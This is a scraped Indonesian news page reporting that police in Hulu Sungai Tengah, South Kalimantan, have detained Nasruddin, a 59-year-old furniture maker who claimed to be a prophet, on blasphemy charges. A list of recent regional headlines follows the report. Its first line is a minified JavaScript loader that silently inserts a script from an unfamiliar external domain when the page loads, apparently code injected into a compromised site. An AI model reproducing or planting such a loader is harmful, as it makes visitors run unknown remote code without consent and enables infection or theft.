(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HST

Nasruddin, ‘Nabi’ Palsu Asal Batu Benawa Akhirnya Ditahan Polres HST


BARABAI, Mengaku sebagai nabi, Nasruddin (59) warga Desa Bandang, Kecamatan Batu Benawa, Kabupaten Hulu Sungai Tengah (HST), Kalsel ini, harus meringkuk di tahanan. Pria yang mengaku sebagai ‘Nabi’ ke-26 ini diamankan polisi karena perbuatannya yang meresahkan.

Bukan kali ini saja tukang mebel ini mengaku sebagai nabi di hadapan pengikutnya. Tahun 2003 silam, ia juga melakukan hal sama.

Kapolres HST AKBP Sabana Atmojo didampingi Kepala Kejaksaan Negeri (Kajari) Trimo saat jumpa pers dengan awak media, Selasa (3/12) mengatakan, Nasruddin dikenala Pasal 156 a KUHP tentang penistaan agama dengan ancaman 5 tahun penjara. “Kasus ini bermula dari laporan MUI (Majelis Ulama Indonesia) HST yang ditindaklanjuti dengan menggelar penyelidikan,” terangnya.

Pada tahun 2003, Kejaksaan Barabai pernah memeriksa Nasruddin dan dinyatakan ajaran yang disampaikan menyimpang dan sesat. Namun sejak 2018 ia kembali berulah dengan mengaku sebagai nabi. “Ia shalat menggunakan bahasa Indonesia dan mengajarkan kitab hasil terjemahannya sendiri,” kata Kapolres.

Kitab dari Nasruddin itu mulanya dari Al Quran yang disadur dengan pengertiannya sendiri. Kemudian diketik menggunakan laptop dan dicetak. Hasil dari cetakan itu disatukan dan dibawa ke majelis untuk diajarkan ke jemaah-nya yang digelar tiga kali dalam seminggu.

Sementara Ketua Tim Pakem dari Kejari HST, Trimo menyatakan hasil penetapan ini tak lepas dari hasil rapat rakor Pakem yang dihadiri Bupati dan Forkopimda serta tokoh di HST. “Dari hasil rapat itu disimpulkan perkara ini dilakukan tindakan oprasional, lidik hingga penyidik dari Polres. Karena ini merupakan pidana umum,” katanya.

Nasruddin mengatakan, pengangkatannya sebagai nabi kurang lebih 14 tahun yang oleh suatu suara malaikat Jibril yang datangnya bersamaan cahaya yang memenuhi tempat tinggalnya di Desa Benawa. Sejak saat itu Nasruddin tidak pernah lagi melaksanakan salat sebagaimana disyariatkan oleh Islam. Nasruddin menganjurkan pengikutnya untuk menggunakan bahasa Indonesia saat salat, dari awal sampai akhir.

Nasruddin menyatakan bahwa semua syariat Nabi Muhammad tidak berlaku baginya, dan semua pengikutnya. Ia juga disebut tidak lagi memakai hadis nabi. Lantas, orang-orang di luar pengikut Nasruddin dinyatakan sesat atau kafir.

Maka pada 2003, Kejari HST menyatakan ajaran Nasruddin bertentangan dengan syariat islam. Ilmu yang disampaikan Nasruddin dan kitabnya dianggap mengada-ada. Dengan keyakinan itu, Nasruddin dan pengikut-pengikutnya dianggap keluar dari agama Islam alias murtad. (net/cel)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.